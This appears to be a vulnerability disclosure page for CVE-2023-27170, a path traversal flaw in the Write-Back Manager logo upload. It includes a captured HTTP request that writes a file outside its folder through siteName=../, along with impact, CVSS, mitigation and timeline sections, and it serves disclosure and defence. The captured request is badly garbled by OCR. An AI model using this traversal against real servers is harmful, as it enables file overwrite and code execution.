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.CVE-2023-27170
Vulnerability Overview
Improper Limitation of a Pathname to a Restricted Directory.

Context
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The vulnerability allows an attacker to change the directory to which an
uploaded file is saved on the filesystem.

What is Write-Back?

Refer to Write-Back Description

Technical description

CVE-2023-27170 is a path or directory traversal security vulnerability, which
allows an authenticated user to upload a file to any location on the file
system, through any of the multiple file upload features on the Write-Back
Manager .

This vulnerability was initially detected by changing the uploaded filename
through a man-in-the-middle attack.

In the particular case of the customised logo upload (which was previously
analysed in the blogpost regarding CVE-2023-27168), the name under which the
logo file would be written to disk was the value passed in the siteName
parameter, which by default was always 00000000-0000-0000-0000-000000000000. By
manipulating the value of this parameter and adding special characters such
as dots '.' and slashes '/' an attacker can change the path to which the file
will be written to:

Request Response
Raw Hex JSON Web Token \n = Pretty Raw Hex
POST /writeback-manager/api/sites/theme/upload-logo?siteName=../ HTTP/L1l.1 HTTP/1.1 Z00
2 Host: localhost:8543 2 Vary: Origin
3 Cookie: JSESSIONID=47BEO7EDEBOlES0FF40FBS52558BASBD 3 Vary: Access-Control-Request-Method
i User-Agent: Mozilla/5.0 (Windows NT 10.0; Win€4; x€4; rv:107.0) Gecko/I0l0D010Ll Firefox/107.0 i Vary: Access-Control-Request-Headers
S Accept: application/json, text/plain, */* 5 X-Content-Type-Options: nosniff
: Accept-Language: en-US,en;q=0.5 ¢ X-XSS-Protection: l; mode=block
7 Accept-Encoding: gzip, deflate 7 Cache-Control: no-cache, no-store, max-age=0, must-revalidate
9 Authorization: Bearer © Pragma: no-cache
eyJhbGciliJIUzUxMiJ9. eyJhcHALIOiJ3eml0ZS1iYWrIiwic3ViljoidXNlcjEiLCIob3N0Ijoib G YWxob3N0IiwiZxhwljox 5 Expires: 0
HjcwlTkzNTQxLCIpYXQi0)EZNzALODYzNDEs InF1dGhveml 0aWWz1jpbT1JPTEVEQVVUSEVOVELDQVRFRCIAEQ. EQXsESTr1G-tLIs 10 Strict-Transport-Security: max-age=31536000 ; includeSubDomains
DVMwSKUQc306kgGRDLesohaevhii4FRsKxzqPBTuuM3j0SEL_SLSII1dh7WojvAfgqinsR-NQ 11 X-Frame-Options: DENY
S Content-Type: multipart/form-data; boundarys=————--========m==-----————— 3909096058326196881404202532187 12 Content-Type: application/json
0 Content-Length: 18402 13 Date: Fri, 0% Dec 2022 12:29:20 CHMT
11 Origin: https://localhost:B8543 14 Connection: close
Z Referer: https://localhost:8543/writeback-manager/ 5 Content-Length: 80

13 Sec-Fetch-Dest: empty 1€
4 Sec-Fetch-Mode: cors 7T

15 Sec-Fetch-Site: same-origin “extraContent": (

€ Te: trailers ).

17 Connection: close “fileName": *buwlogo.jpg",
"backendErroxrID":null,

15 mmmm e e 3905096058326158681404202532187 “error":false
20 Content-Disposition: form-data; name="file"; filename="bmwlogo.jpg" }
21 Content-Type: image/jpeg

In this example, the logo was placed one folder hierarchicaly above the logos
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Impact

CVE-2023-27170 could be exploited in multiple manners. A malicious user could
overwrite critical files, upload massive files causing a file space denial of
service, upload dangerous files into the web tree in order to achieve code
execution.

CVE ID: CVE-2023-27170

CVSS 3.1 Base Score: 5.5

CVSS Vector: AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:L
Affected Vendor: Xpand IT

Affected Product: Write-Back
Affected Version: Write-back Manager v2.3.1

Mitigation
Update Write-Back to at least version 4.1.
Timeline

12-12-2022 - Vulnerability detected and reported to Write-Back.

22-02-2023 - Vulnerability submitted to Mittre.
10-03-2023 - Vulnerability accepted and CVE ID reserved.
12-07-2023 - Official Patch released by Write-Back team.
Credits

me

https://ghostline.neocities.org/CVE-2023-27170/ 3/4



9/19/26, 11:10 PM .CVE-2023-27170 - Ghosts in the shell
Site built with MkDocs and Terminal for MkDocs.
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